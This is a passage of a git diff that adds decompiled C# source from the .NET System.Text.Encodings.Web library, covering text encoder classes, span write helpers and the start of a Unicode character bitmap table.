_ = GetType() == typeof(OptimizedInboxTextEncoder); + } +} diff --git a/decompiled/Libraries/system.text.encodings.web/System.Text.Encodings.Web/ScalarEscaperBase.cs b/decompiled/Libraries/system.text.encodings.web/System.Text.Encodings.Web/ScalarEscaperBase.cs new file mode 100644 index 0000000..997a47d --- /dev/null +++ b/decompiled/Libraries/system.text.encodings.web/System.Text.Encodings.Web/ScalarEscaperBase.cs @@ -0,0 +1,8 @@ +namespace System.Text.Encodings.Web; + +internal abstract class ScalarEscaperBase +{ + internal abstract int EncodeUtf16(Rune value, Span destination); + + internal abstract int EncodeUtf8(Rune value, Span destination); +} diff --git a/decompiled/Libraries/system.text.encodings.web/System.Text.Encodings.Web/SpanUtility.cs b/decompiled/Libraries/system.text.encodings.web/System.Text.Encodings.Web/SpanUtility.cs new file mode 100644 index 0000000..2567daf --- /dev/null +++ b/decompiled/Libraries/system.text.encodings.web/System.Text.Encodings.Web/SpanUtility.cs @@ -0,0 +1,156 @@ +using System.Buffers.Binary; +using System.Runtime.CompilerServices; +using System.Runtime.InteropServices; + +namespace System.Text.Encodings.Web; + +internal static class SpanUtility +{ + [MethodImpl(MethodImplOptions.AggressiveInlining)] + public static bool IsValidIndex(ReadOnlySpan span, int index) + { + return (uint)index < (uint)span.Length; + } + + [MethodImpl(MethodImplOptions.AggressiveInlining)] + public static bool IsValidIndex(Span span, int index) + { + return (uint)index < (uint)span.Length; + } + + [MethodImpl(MethodImplOptions.AggressiveInlining)] + public static bool TryWriteBytes(Span span, byte a, byte b, byte c, byte d) + { + if (span.Length >= 4) + { + Unsafe.WriteUnaligned(value: (uint)((!BitConverter.IsLittleEndian) ? ((a << 24) | (b << 16) | (c << 8) | d) : ((d << 24) | (c << 16) | (b << 8) | a)), destination: ref MemoryMarshal.GetReference(span)); + return true; + } + return false; + } + + [MethodImpl(MethodImplOptions.AggressiveInlining)] + public static bool TryWriteBytes(Span span, byte a, byte b, byte c, byte d, byte e) + { + if (span.Length >= 5) + { + uint value = (uint)((!BitConverter.IsLittleEndian) ? ((a << 24) | (b << 16) | (c << 8) | d) : ((d << 24) | (c << 16) | (b << 8) | a)); + ref byte reference = ref MemoryMarshal.GetReference(span); + Unsafe.WriteUnaligned(ref reference, value); + Unsafe.Add(ref reference, 4) = e; + return true; + } + return false; + } + + [MethodImpl(MethodImplOptions.AggressiveInlining)] + public static bool TryWriteBytes(Span span, byte a, byte b, byte c, byte d, byte e, byte f) + { + if (span.Length >= 6) + { + uint value; + uint num; + if (BitConverter.IsLittleEndian) + { + value = (uint)((d << 24) | (c << 16) | (b << 8) | a); + num = (uint)((f << 8) | e); + } + else + { + value = (uint)((a << 24) | (b << 16) | (c << 8) | d); + num = (uint)((e << 8) | f); + } + ref byte reference = ref MemoryMarshal.GetReference(span); + Unsafe.WriteUnaligned(ref reference, value); + Unsafe.WriteUnaligned(ref Unsafe.Add(ref reference, 4), (ushort)num); + return true; + } + return false; + } + + [MethodImpl(MethodImplOptions.AggressiveInlining)] + public static bool TryWriteChars(Span span, char a, char b, char c, char d) + { + if (span.Length >= 4) + { + Unsafe.WriteUnaligned(value: (!BitConverter.IsLittleEndian) ? (((ulong)a << 48) | ((ulong)b << 32) | ((ulong)c << 16) | d) : (((ulong)d << 48) | ((ulong)c << 32) | ((ulong)b << 16) | a), destination: ref Unsafe.As(ref MemoryMarshal.GetReference(span))); + return true; + } + return false; + } + + [MethodImpl(MethodImplOptions.AggressiveInlining)] + public static bool TryWriteChars(Span span, char a, char b, char c, char d, char e) + { + if (span.Length >= 5) + { + ulong value = ((!BitConverter.IsLittleEndian) ? (((ulong)a << 48) | ((ulong)b << 32) | ((ulong)c << 16) | d) : (((ulong)d << 48) | ((ulong)c << 32) | ((ulong)b << 16) | a)); + ref char reference = ref MemoryMarshal.GetReference(span); + Unsafe.WriteUnaligned(ref Unsafe.As(ref reference), value); + Unsafe.Add(ref reference, 4) = e; + return true; + } + return false; + } + + [MethodImpl(MethodImplOptions.AggressiveInlining)] + public static bool TryWriteChars(Span span, char a, char b, char c, char d, char e, char f) + { + if (span.Length >= 6) + { + ulong value; + uint value2; + if (BitConverter.IsLittleEndian) + { + value = ((ulong)d << 48) | ((ulong)c << 32) | ((ulong)b << 16) | a; + value2 = ((uint)f << 16) | e; + } + else + { + value = ((ulong)a << 48) | ((ulong)b << 32) | ((ulong)c << 16) | d; + value2 = ((uint)e << 16) | f; + } + ref byte reference = ref Unsafe.As(ref MemoryMarshal.GetReference(span)); + Unsafe.WriteUnaligned(ref reference, value); + Unsafe.WriteUnaligned(ref Unsafe.AddByteOffset(ref reference, (IntPtr)8), value2); + return true; + } + return false; + } + + [MethodImpl(MethodImplOptions.AggressiveInlining)] + public static bool TryWriteUInt64LittleEndian(Span span, int offset, ulong value) + { + if (AreValidIndexAndLength(span.Length, offset, 8)) + { + if (!BitConverter.IsLittleEndian) + { + value = BinaryPrimitives.ReverseEndianness(value); + } + Unsafe.WriteUnaligned(ref Unsafe.Add(ref MemoryMarshal.GetReference(span), (nint)(uint)offset), value); + return true; + } + return false; + } + + [MethodImpl(MethodImplOptions.AggressiveInlining)] + private static bool AreValidIndexAndLength(int spanRealLength, int requestedOffset, int requestedLength) + { + if (IntPtr.Size == 4) + { + if ((uint)requestedOffset > (uint)spanRealLength) + { + return false; + } + if ((uint)requestedLength > (uint)(spanRealLength - requestedOffset)) + { + return false; + } + } + else if ((ulong)(uint)spanRealLength < (ulong)((long)(uint)requestedOffset + (long)(uint)requestedLength)) + { + return false; + } + return true; + } +} diff --git a/decompiled/Libraries/system.text.encodings.web/System.Text.Encodings.Web/TextEncoder.cs b/decompiled/Libraries/system.text.encodings.web/System.Text.Encodings.Web/TextEncoder.cs new file mode 100644 index 0000000..125b814 --- /dev/null +++ b/decompiled/Libraries/system.text.encodings.web/System.Text.Encodings.Web/TextEncoder.cs @@ -0,0 +1,409 @@ +using System.Buffers; +using System.ComponentModel; +using System.Diagnostics.CodeAnalysis; +using System.IO; +using System.Runtime.CompilerServices; +using System.Runtime.InteropServices; +using System.Text.Unicode; + +namespace System.Text.Encodings.Web; + +public abstract class TextEncoder +{ + private const int EncodeStartingOutputBufferSize = 1024; + + [EditorBrowsable(EditorBrowsableState.Never)] + public abstract int MaxOutputCharactersPerInputCharacter { get; } + + [CLSCompliant(false)] + [EditorBrowsable(EditorBrowsableState.Never)] + public unsafe abstract bool TryEncodeUnicodeScalar(int unicodeScalar, char* buffer, int bufferLength, out int numberOfCharactersWritten); + + [MethodImpl(MethodImplOptions.AggressiveInlining)] + private unsafe bool TryEncodeUnicodeScalar(uint unicodeScalar, Span buffer, out int charsWritten) + { + fixed (char* reference = &MemoryMarshal.GetReference(buffer)) + { + return TryEncodeUnicodeScalar((int)unicodeScalar, reference, buffer.Length, out charsWritten); + } + } + + private bool TryEncodeUnicodeScalarUtf8(uint unicodeScalar, Span utf16ScratchBuffer, Span utf8Destination, out int bytesWritten) + { + if (!TryEncodeUnicodeScalar(unicodeScalar, utf16ScratchBuffer, out var charsWritten)) + { + ThrowArgumentException_MaxOutputCharsPerInputChar(); + } + utf16ScratchBuffer = utf16ScratchBuffer.Slice(0, charsWritten); + int num = 0; + while (!utf16ScratchBuffer.IsEmpty) + { + if (Rune.DecodeFromUtf16(utf16ScratchBuffer, out var result, out var charsConsumed) != OperationStatus.Done) + { + ThrowArgumentException_MaxOutputCharsPerInputChar(); + } + uint num2 = (uint)UnicodeHelpers.GetUtf8RepresentationForScalarValue((uint)result.Value); + do + { + if (SpanUtility.IsValidIndex(utf8Destination, num)) + { + utf8Destination[num++] = (byte)num2; + continue; + } + bytesWritten = 0; + return false; + } + while ((num2 >>= 8) != 0); + utf16ScratchBuffer = utf16ScratchBuffer.Slice(charsConsumed); + } + bytesWritten = num; + return true; + } + + [CLSCompliant(false)] + [EditorBrowsable(EditorBrowsableState.Never)] + public unsafe abstract int FindFirstCharacterToEncode(char* text, int textLength); + + [EditorBrowsable(EditorBrowsableState.Never)] + public abstract bool WillEncode(int unicodeScalar); + + public virtual string Encode(string value) + { + if (value == null) + { + ThrowHelper.ThrowArgumentNullException(ExceptionArgument.value); + } + int num = FindFirstCharacterToEncode(value.AsSpan()); + if (num < 0) + { + return value; + } + return EncodeToNewString(value.AsSpan(), num); + } + + private string EncodeToNewString(ReadOnlySpan value, int indexOfFirstCharToEncode) + { + ReadOnlySpan source = value.Slice(indexOfFirstCharToEncode); + Span initialBuffer = stackalloc char[1024]; + System.Text.ValueStringBuilder valueStringBuilder = new System.Text.ValueStringBuilder(initialBuffer); + valueStringBuilder.Append(value.Slice(0, indexOfFirstCharToEncode)); + int val = Math.Max(MaxOutputCharactersPerInputCharacter, 1024); + do + { + Span destination = valueStringBuilder.AppendSpan(Math.Max(source.Length, val)); + EncodeCore(source, destination, out var charsConsumed, out var charsWritten, isFinalBlock: true); + if (charsWritten == 0 || (uint)charsWritten > (uint)destination.Length) + { + ThrowArgumentException_MaxOutputCharsPerInputChar(); + } + source = source.Slice(charsConsumed); + valueStringBuilder.Length -= destination.Length - charsWritten; + } + while (!source.IsEmpty); + return valueStringBuilder.ToString(); + } + + public void Encode(TextWriter output, string value) + { + Encode(output, value, 0, value.Length); + } + + public virtual void Encode(TextWriter output, string value, int startIndex, int characterCount) + { + if (output == null) + { + ThrowHelper.ThrowArgumentNullException(ExceptionArgument.output); + } + if (value == null) + { + ThrowHelper.ThrowArgumentNullException(ExceptionArgument.value); + } + ValidateRanges(startIndex, characterCount, value.Length); + int num = FindFirstCharacterToEncode(value.AsSpan(startIndex, characterCount)); + if (num < 0) + { + num = characterCount; + } + output.WritePartialString(value, startIndex, num); + if (num != characterCount) + { + EncodeCore(output, value.AsSpan(startIndex + num, characterCount - num)); + } + } + + public virtual void Encode(TextWriter output, char[] value, int startIndex, int characterCount) + { + if (output == null) + { + ThrowHelper.ThrowArgumentNullException(ExceptionArgument.output); + } + if (value == null) + { + ThrowHelper.ThrowArgumentNullException(ExceptionArgument.value); + } + ValidateRanges(startIndex, characterCount, value.Length); + int num = FindFirstCharacterToEncode(value.AsSpan(startIndex, characterCount)); + if (num < 0) + { + num = characterCount; + } + output.Write(value, startIndex, num); + if (num != characterCount) + { + EncodeCore(output, value.AsSpan(startIndex + num, characterCount - num)); + } + } + + public virtual OperationStatus EncodeUtf8(ReadOnlySpan utf8Source, Span utf8Destination, out int bytesConsumed, out int bytesWritten, bool isFinalBlock = true) + { + ReadOnlySpan utf8Text = utf8Source; + if (utf8Destination.Length < utf8Source.Length) + { + utf8Text = utf8Source.Slice(0, utf8Destination.Length); + } + int num = FindFirstCharacterToEncodeUtf8(utf8Text); + if (num < 0) + { + num = utf8Text.Length; + } + utf8Source.Slice(0, num).CopyTo(utf8Destination); + if (num == utf8Source.Length) + { + bytesConsumed = utf8Source.Length; + bytesWritten = utf8Source.Length; + return OperationStatus.Done; + } + int bytesConsumed2; + int bytesWritten2; + OperationStatus result = EncodeUtf8Core(utf8Source.Slice(num), utf8Destination.Slice(num), out bytesConsumed2, out bytesWritten2, isFinalBlock); + bytesConsumed = num + bytesConsumed2; + bytesWritten = num + bytesWritten2; + return result; + } + + private protected virtual OperationStatus EncodeUtf8Core(ReadOnlySpan utf8Source, Span utf8Destination, out int bytesConsumed, out int bytesWritten, bool isFinalBlock) + { + int length = utf8Source.Length; + int length2 = utf8Destination.Length; + Span utf16ScratchBuffer = stackalloc char[24]; + OperationStatus result2; + while (true) + { + int bytesConsumed2; + int num2; + if (!utf8Source.IsEmpty) + { + Rune result; + OperationStatus operationStatus = Rune.DecodeFromUtf8(utf8Source, out result, out bytesConsumed2); + if (operationStatus != OperationStatus.Done) + { + if (!isFinalBlock && operationStatus == OperationStatus.NeedMoreData) + { + result2 = OperationStatus.NeedMoreData; + break; + } + } + else if (!WillEncode(result.Value)) + { + uint num = (uint)UnicodeHelpers.GetUtf8RepresentationForScalarValue((uint)result.Value); + num2 = 0; + while ((uint)num2 < (uint)utf8Destination.Length) + { + utf8Destination[num2++] = (byte)num; + if ((num >>= 8) != 0) + { + continue; + } + goto IL_008d; + } + goto IL_00f9; + } + if (TryEncodeUnicodeScalarUtf8((uint)result.Value, utf16ScratchBuffer, utf8Destination, out var bytesWritten2)) + { + utf8Source = utf8Source.Slice(bytesConsumed2); + utf8Destination = utf8Destination.Slice(bytesWritten2); + continue; + } + goto IL_00f9; + } + result2 = OperationStatus.Done; + break; + IL_008d: + utf8Source = utf8Source.Slice(bytesConsumed2); + utf8Destination = utf8Destination.Slice(num2); + continue; + IL_00f9: + result2 = OperationStatus.DestinationTooSmall; + break; + } + bytesConsumed = length - utf8Source.Length; + bytesWritten = length2 - utf8Destination.Length; + return result2; + } + + public virtual OperationStatus Encode(ReadOnlySpan source, Span destination, out int charsConsumed, out int charsWritten, bool isFinalBlock = true) + { + ReadOnlySpan text = source; + if (destination.Length < source.Length) + { + text = source.Slice(0, destination.Length); + } + int num = FindFirstCharacterToEncode(text); + if (num < 0) + { + num = text.Length; + } + source.Slice(0, num).CopyTo(destination); + if (num == source.Length) + { + charsConsumed = source.Length; + charsWritten = source.Length; + return OperationStatus.Done; + } + int charsConsumed2; + int charsWritten2; + OperationStatus result = EncodeCore(source.Slice(num), destination.Slice(num), out charsConsumed2, out charsWritten2, isFinalBlock); + charsConsumed = num + charsConsumed2; + charsWritten = num + charsWritten2; + return result; + } + + private protected virtual OperationStatus EncodeCore(ReadOnlySpan source, Span destination, out int charsConsumed, out int charsWritten, bool isFinalBlock) + { + int length = source.Length; + int length2 = destination.Length; + OperationStatus result2; + while (true) + { + if (!source.IsEmpty) + { + Rune result; + int charsConsumed2; + OperationStatus operationStatus = Rune.DecodeFromUtf16(source, out result, out charsConsumed2); + if (operationStatus != OperationStatus.Done) + { + if (!isFinalBlock && operationStatus == OperationStatus.NeedMoreData) + { + result2 = OperationStatus.NeedMoreData; + break; + } + } + else if (!WillEncode(result.Value)) + { + if (result.TryEncodeToUtf16(destination, out var _)) + { + source = source.Slice(charsConsumed2); + destination = destination.Slice(charsConsumed2); + continue; + } + goto IL_00ad; + } + if (TryEncodeUnicodeScalar((uint)result.Value, destination, out var charsWritten3)) + { + source = source.Slice(charsConsumed2); + destination = destination.Slice(charsWritten3); + continue; + } + goto IL_00ad; + } + result2 = OperationStatus.Done; + break; + IL_00ad: + result2 = OperationStatus.DestinationTooSmall; + break; + } + charsConsumed = length - source.Length; + charsWritten = length2 - destination.Length; + return result2; + } + + private void EncodeCore(TextWriter output, ReadOnlySpan value) + { + int val = Math.Max(MaxOutputCharactersPerInputCharacter, 1024); + char[] array = ArrayPool.Shared.Rent(Math.Max(value.Length, val)); + Span destination = array; + do + { + EncodeCore(value, destination, out var charsConsumed, out var charsWritten, isFinalBlock: true); + if (charsWritten == 0 || (uint)charsWritten > (uint)destination.Length) + { + ThrowArgumentException_MaxOutputCharsPerInputChar(); + } + output.Write(array, 0, charsWritten); + value = value.Slice(charsConsumed); + } + while (!value.IsEmpty); + ArrayPool.Shared.Return(array); + } + + private protected unsafe virtual int FindFirstCharacterToEncode(ReadOnlySpan text) + { + fixed (char* reference = &MemoryMarshal.GetReference(text)) + { + return FindFirstCharacterToEncode(reference, text.Length); + } + } + + [EditorBrowsable(EditorBrowsableState.Never)] + public virtual int FindFirstCharacterToEncodeUtf8(ReadOnlySpan utf8Text) + { + int length = utf8Text.Length; + Rune result; + int bytesConsumed; + while (!utf8Text.IsEmpty && Rune.DecodeFromUtf8(utf8Text, out result, out bytesConsumed) == OperationStatus.Done && !WillEncode(result.Value)) + { + utf8Text = utf8Text.Slice(bytesConsumed); + } + if (!utf8Text.IsEmpty) + { + return length - utf8Text.Length; + } + return -1; + } + + internal static bool TryCopyCharacters(string source, Span destination, out int numberOfCharactersWritten) + { + if (destination.Length < source.Length) + { + numberOfCharactersWritten = 0; + return false; + } + for (int i = 0; i < source.Length; i++) + { + destination[i] = source[i]; + } + numberOfCharactersWritten = source.Length; + return true; + } + + [MethodImpl(MethodImplOptions.AggressiveInlining)] + internal static bool TryWriteScalarAsChar(int unicodeScalar, Span destination, out int numberOfCharactersWritten) + { + if (destination.IsEmpty) + { + numberOfCharactersWritten = 0; + return false; + } + destination[0] = (char)unicodeScalar; + numberOfCharactersWritten = 1; + return true; + } + + private static void ValidateRanges(int startIndex, int characterCount, int actualInputLength) + { + if (startIndex < 0 || startIndex > actualInputLength) + { + throw new ArgumentOutOfRangeException("startIndex"); + } + if (characterCount < 0 || characterCount > actualInputLength - startIndex) + { + throw new ArgumentOutOfRangeException("characterCount"); + } + } + + [DoesNotReturn] + private static void ThrowArgumentException_MaxOutputCharsPerInputChar() + { + throw new ArgumentException(System.SR.TextEncoderDoesNotImplementMaxOutputCharsPerInputChar); + } +} diff --git a/decompiled/Libraries/system.text.encodings.web/System.Text.Encodings.Web/TextEncoderSettings.cs b/decompiled/Libraries/system.text.encodings.web/System.Text.Encodings.Web/TextEncoderSettings.cs new file mode 100644 index 0000000..a4af2b9 --- /dev/null +++ b/decompiled/Libraries/system.text.encodings.web/System.Text.Encodings.Web/TextEncoderSettings.cs @@ -0,0 +1,168 @@ +using System.Collections.Generic; +using System.Runtime.CompilerServices; +using System.Text.Unicode; + +namespace System.Text.Encodings.Web; + +public class TextEncoderSettings +{ + private AllowedBmpCodePointsBitmap _allowedCodePointsBitmap; + + public TextEncoderSettings() + { + } + + public TextEncoderSettings(TextEncoderSettings other) + { + if (other == null) + { + ThrowHelper.ThrowArgumentNullException(ExceptionArgument.other); + } + _allowedCodePointsBitmap = other.GetAllowedCodePointsBitmap(); + } + + public TextEncoderSettings(params UnicodeRange[] allowedRanges) + { + if (allowedRanges == null) + { + ThrowHelper.ThrowArgumentNullException(ExceptionArgument.allowedRanges); + } + AllowRanges(allowedRanges); + } + + public virtual void AllowCharacter(char character) + { + _allowedCodePointsBitmap.AllowChar(character); + } + + public virtual void AllowCharacters(params char[] characters) + { + if (characters == null) + { + ThrowHelper.ThrowArgumentNullException(ExceptionArgument.characters); + } + for (int i = 0; i < characters.Length; i++) + { + _allowedCodePointsBitmap.AllowChar(characters[i]); + } + } + + public virtual void AllowCodePoints(IEnumerable codePoints) + { + if (codePoints == null) + { + ThrowHelper.ThrowArgumentNullException(ExceptionArgument.codePoints); + } + foreach (int codePoint in codePoints) + { + if (System.Text.UnicodeUtility.IsBmpCodePoint((uint)codePoint)) + { + _allowedCodePointsBitmap.AllowChar((char)codePoint); + } + } + } + + public virtual void AllowRange(UnicodeRange range) + { + if (range == null) + { + ThrowHelper.ThrowArgumentNullException(ExceptionArgument.range); + } + int firstCodePoint = range.FirstCodePoint; + int length = range.Length; + for (int i = 0; i < length; i++) + { + int num = firstCodePoint + i; + _allowedCodePointsBitmap.AllowChar((char)num); + } + } + + public virtual void AllowRanges(params UnicodeRange[] ranges) + { + if (ranges == null) + { + ThrowHelper.ThrowArgumentNullException(ExceptionArgument.ranges); + } + for (int i = 0; i < ranges.Length; i++) + { + AllowRange(ranges[i]); + } + } + + public virtual void Clear() + { + _allowedCodePointsBitmap = default(AllowedBmpCodePointsBitmap); + } + + public virtual void ForbidCharacter(char character) + { + _allowedCodePointsBitmap.ForbidChar(character); + } + + public virtual void ForbidCharacters(params char[] characters) + { + if (characters == null) + { + ThrowHelper.ThrowArgumentNullException(ExceptionArgument.characters); + } + for (int i = 0; i < characters.Length; i++) + { + _allowedCodePointsBitmap.ForbidChar(characters[i]); + } + } + + public virtual void ForbidRange(UnicodeRange range) + { + if (range == null) + { + ThrowHelper.ThrowArgumentNullException(ExceptionArgument.range); + } + int firstCodePoint = range.FirstCodePoint; + int length = range.Length; + for (int i = 0; i < length; i++) + { + int num = firstCodePoint + i; + _allowedCodePointsBitmap.ForbidChar((char)num); + } + } + + public virtual void ForbidRanges(params UnicodeRange[] ranges) + { + if (ranges == null) + { + ThrowHelper.ThrowArgumentNullException(ExceptionArgument.ranges); + } + for (int i = 0; i < ranges.Length; i++) + { + ForbidRange(ranges[i]); + } + } + + public virtual IEnumerable GetAllowedCodePoints() + { + for (int i = 0; i <= 65535; i++) + { + if (_allowedCodePointsBitmap.IsCharAllowed((char)i)) + { + yield return i; + } + } + } + + internal ref readonly AllowedBmpCodePointsBitmap GetAllowedCodePointsBitmap() + { + if (GetType() == typeof(TextEncoderSettings)) + { + return ref _allowedCodePointsBitmap; + } + StrongBox strongBox = new StrongBox(); + foreach (int allowedCodePoint in GetAllowedCodePoints()) + { + if ((uint)allowedCodePoint <= 65535u) + { + strongBox.Value.AllowChar((char)allowedCodePoint); + } + } + return ref strongBox.Value; + } +} diff --git a/decompiled/Libraries/system.text.encodings.web/System.Text.Encodings.Web/ThrowHelper.cs b/decompiled/Libraries/system.text.encodings.web/System.Text.Encodings.Web/ThrowHelper.cs new file mode 100644 index 0000000..a84c9de --- /dev/null +++ b/decompiled/Libraries/system.text.encodings.web/System.Text.Encodings.Web/ThrowHelper.cs @@ -0,0 +1,23 @@ +using System.Diagnostics.CodeAnalysis; + +namespace System.Text.Encodings.Web; + +internal static class ThrowHelper +{ + [DoesNotReturn] + internal static void ThrowArgumentNullException(ExceptionArgument argument) + { + throw new ArgumentNullException(GetArgumentName(argument)); + } + + [DoesNotReturn] + internal static void ThrowArgumentOutOfRangeException(ExceptionArgument argument) + { + throw new ArgumentOutOfRangeException(GetArgumentName(argument)); + } + + private static string GetArgumentName(ExceptionArgument argument) + { + return argument.ToString(); + } +} diff --git a/decompiled/Libraries/system.text.encodings.web/System.Text.Encodings.Web/UrlEncoder.cs b/decompiled/Libraries/system.text.encodings.web/System.Text.Encodings.Web/UrlEncoder.cs new file mode 100644 index 0000000..c38f15b --- /dev/null +++ b/decompiled/Libraries/system.text.encodings.web/System.Text.Encodings.Web/UrlEncoder.cs @@ -0,0 +1,18 @@ +using System.Text.Unicode; + +namespace System.Text.Encodings.Web; + +public abstract class UrlEncoder : TextEncoder +{ + public static UrlEncoder Default => DefaultUrlEncoder.BasicLatinSingleton; + + public static UrlEncoder Create(TextEncoderSettings settings) + { + return new DefaultUrlEncoder(settings); + } + + public static UrlEncoder Create(params UnicodeRange[] allowedRanges) + { + return new DefaultUrlEncoder(new TextEncoderSettings(allowedRanges)); + } +} diff --git a/decompiled/Libraries/system.text.encodings.web/System.Text.Unicode/UnicodeHelpers.cs b/decompiled/Libraries/system.text.encodings.web/System.Text.Unicode/UnicodeHelpers.cs new file mode 100644 index 0000000..b2ac300 --- /dev/null +++ b/decompiled/Libraries/system.text.encodings.web/System.Text.Unicode/UnicodeHelpers.cs @@ -0,0 +1,876 @@ +using System.Runtime.CompilerServices; + +namespace System.Text.Unicode; + +internal static class UnicodeHelpers +{ + internal const int UNICODE_LAST_CODEPOINT = 1114111; + + private static ReadOnlySpan DefinedCharsBitmapSpan => new byte[8192] + { + 0, 0, 0, 0, 255, 255, 255, 255, 255, 255, + 255, 255, 255, 255, 255, 127, 0, 0, 0, 0, + 254, 255, 255, 255, 255, 255, 255, 255, 255, 255, + 255, 255, 255, 255, 255, 255, 255, 255, 255, 255, + 255, 255, 255, 255, 255, 255, 255, 255, 255, 255, + 255, 255, 255, 255, 255, 255, 255, 255, 255, 255, + 255, 255, 255, 255, 255, 255, 255, 255, 255, 255, + 255, 255, 255, 255, 255, 255, 255, 255, 255, 255, + 255, 255, 255, 255, 255, 255, 255, 255, 255, 255, + 255, 255, 255, 255, 255, 255, 255, 255, 255, 255, + 255, 255, 255, 255, 255, 255, 255, 255, 255, 255, + 255, 252, 240, 215, 255, 255, 251, 255, 255, 255, + 255, 255, 255, 255, 255, 255, 255, 255, 255, 255, + 255, 255, 255, 255, 255, 255, 255, 255, 255, 255, + 255, 255, 255, 255, 255, 255, 255, 255, 255, 255, + 255, 255, 255, 255, 255, 255, 255, 255, 255, 255, + 255, 255, 255, 255, 255, 255, 254, 255, 255, 255, + 127, 254, 255, 255, 255, 255, 255, 231, 254, 255, + 255, 255, 255, 255, 255, 0, 255, 255, 255, 135, + 31, 0, 255, 255, 255, 255, 255, 255, 255, 255, + 255, 255, 255, 255, 255, 255, 255, 255, 255, 255, + 255, 255, 255, 255, 255, 255, 255, 255, 255, 255, + 255, 255, 255, 255, 255, 191, 255, 255, 255, 255, + 255, 255, 255, 231, 255, 255, 255, 255, 255, 255, + 255, 255, 255, 255, 255, 255, 3, 0, 255, 255, + 255, 255, 255, 255, 255, 231, 255, 255, 255, 255, + 255, 63, 255, 127, 255, 255, 255, 79, 255, 7, + 255, 255, 255, 127, 3, 255, 255, 255, 255, 255, + 255, 255, 255, 255, 255, 255, 255, 255, 255, 255, + 255, 255, 255, 255, 255, 255, 255, 255, 255, 255, + 255, 255, 255, 255, 239, 159, 249, 255, 255, 253, + 197, 243, 159, 121, 128, 176, 207, 255, 255, 127, + 238, 135, 249, 255, 255, 253, 109, 211, 135, 57, + 2, 94, 192, 255, 127, 0, 238, 191, 251, 255, + 255, 253, 237, 243, 191, 59, 1, 0, 207, 255, + 3, 254, 238, 159, 249, 255, 255, 253, 237, 243, + 159, 57, 224, 176, 207, 255, 255, 0, 236, 199, + 61, 214, 24, 199, 255, 195, 199, 61, 129, 0, + 192, 255, 255, 7, 255, 223, 253, 255, 255, 253, + 255, 243, 223, 61, 96, 39, 207, 255, 128, 255, + 255, 223, 253, 255, 255, 253, 239, 243, 223, 61, + 96, 96, 207, 255, 14, 0, 255, 223, 253, 255, + 255, 255, 255, 255, 223, 253, 240, 255, 207, 255, + 255, 255, 238, 255, 127, 252, 255, 255, 251, 47, + 127, 132, 95, 255, 192, 255, 28, 0, 254, 255, + 255, 255, 255, 255, 255, 135, 255, 255, 255, 15, + 0, 0, 0, 0, 214, 247, 255, 255, 175, 255, + 255, 63, 95, 127, 255, 243, 0, 0, 0, 0, + 255, 255, 255, 255, 255, 255, 255, 255, 255, 254, + 255, 255, 255, 31, 254, 255, 255, 255, 255, 254, + 255, 255, 255, 223, 255, 223, 255, 7, 0, 0, + 0, 0, 255, 255, 255, 255, 255, 255, 255, 255, + 255, 255, 255, 255, 255, 255, 255, 255, 255, 255, + 255, 255, 255, 255, 255, 255, 191, 32, 255, 255, + 255, 255, 255, 255, 255, 255, 255, 255, 255, 255, + 255, 255, 255, 255, 255, 255, 255, 255, 255, 255, + 255, 255, 255, 255, 255, 255, 255, 255, 255, 255, + 255, 255, 255, 255, 255, 255, 255, 255, 255, 255, + 255, 255, 255, 255, 255, 61, 127, 61, 255, 255, + 255, 255, 255, 61, 255, 255, 255, 255, 61, 127, + 61, 255, 127, 255, 255, 255, 255, 255, 255, 255, + 61, 255, 255, 255, 255, 255, 255, 255, 255, 231, + 255, 255, 255, 31, 255, 255, 255, 3, 255, 255, + 255, 255, 255, 255, 255, 255, 255, 255, 63, 63, + 255, 255, 255, 255, 255, 255, 255, 255, 255, 255, + 255, 255, 255, 255, 255, 255, 255, 255, 255, 255, + 255, 255, 255, 255, 255, 255, 255, 255, 255, 255, + 255, 255, 255, 255, 255, 255, 255, 255, 255, 255, + 255, 255, 255, 255, 255, 255, 255, 255, 255, 255, + 255, 255, 255, 255, 255, 255, 255, 255, 255, 255, + 255, 255, 255, 255, 255, 255, 255, 255, 255, 255, + 255, 255, 255, 255, 255, 255, 255, 255, 255, 255, + 254, 255, 255, 31, 255, 255, 255, 255, 255, 255, + 255, 255, 255, 255, 255, 1, 255, 255, 63, 128, + 255, 255, 127, 0, 255, 255, 15, 0, 255, 223, + 13, 0, 255, 255, 255, 255, 255, 255, 255, 255, + 255, 255, 255, 63, 255, 3, 255, 3, 255, 255, + 255, 3, 255, 255, 255, 255, 255, 255, 255, 255, + 255, 255, 255, 1, 255, 255, 255, 255, 255, 7, + 255, 255, 255, 255, 255, 255, 255, 255, 63, 0, + 255, 255, 255, 127, 255, 15, 255, 15, 241, 255, + 255, 255, 255, 63, 31, 0, 255, 255, 255, 255, + 255, 15, 255, 255, 255, 3, 255, 199, 255, 255, + 255, 255, 255, 255, 255, 207, 255, 255, 255, 255, + 255, 255, 255, 127, 255, 255, 255, 159, 255, 3, + 255, 3, 255, 63, 255, 255, 255, 127, 0, 0, + 0, 0, 0, 0, 255, 255, 255, 255, 255, 255, + 255, 255, 255, 31, 255, 255, 255, 255, 255, 127, + 255, 255, 255, 255, 255, 255, 255, 255, 255, 255, + 255, 255, 255, 255, 15, 240, 255, 255, 255, 255, + 255, 255, 255, 248, 255, 227, 255, 255, 255, 255, + 255, 255, 255, 1, 255, 255, 255, 255, 255, 231, + 255, 0, 255, 255, 255, 255, 255, 7, 255, 255, + 255, 255, 255, 255, 255, 255, 255, 255, 255, 255, + 255, 255, 255, 255, 255, 255, 255, 255, 255, 255, + 255, 255, 255, 255, 255, 255, 255, 255, 255, 255, + 255, 255, 255, 255, 255, 255, 255, 255, 255, 255, + 255, 255, 255, 255, 255, 255, 255, 255, 255, 255, + 255, 255, 255, 255, 255, 255, 255, 255, 255, 255, + 255, 255, 255, 255, 63, 63, 255, 255, 255, 255, + 63, 63, 255, 170, 255, 255, 255, 63, 255, 255, + 255, 255, 255, 255, 223, 255, 223, 255, 207, 239, + 255, 255, 220, 127, 0, 248, 255, 255, 255, 124, + 255, 255, 255, 255, 255, 127, 223, 255, 243, 255, + 255, 127, 255, 31, 255, 255, 255, 255, 1, 0, + 255, 255, 255, 255, 1, 0, 255, 255, 255, 255, + 255, 255, 255, 255, 255, 255, 255, 255, 255, 255, + 255, 255, 255, 15, 255, 255, 255, 255, 255, 255, + 255, 255, 255, 255, 255, 255, 255, 255, 255, 255, + 255, 255, 255, 255, 255, 255, 255, 255, 255, 255, + 255, 255, 255, 255, 255, 255, 255, 255, 255, 255, + 255, 255, 255, 255, 255, 255, 255, 255, 255, 255, + 255, 255, 255, 255, 255, 255, 255, 255, 255, 255, + 255, 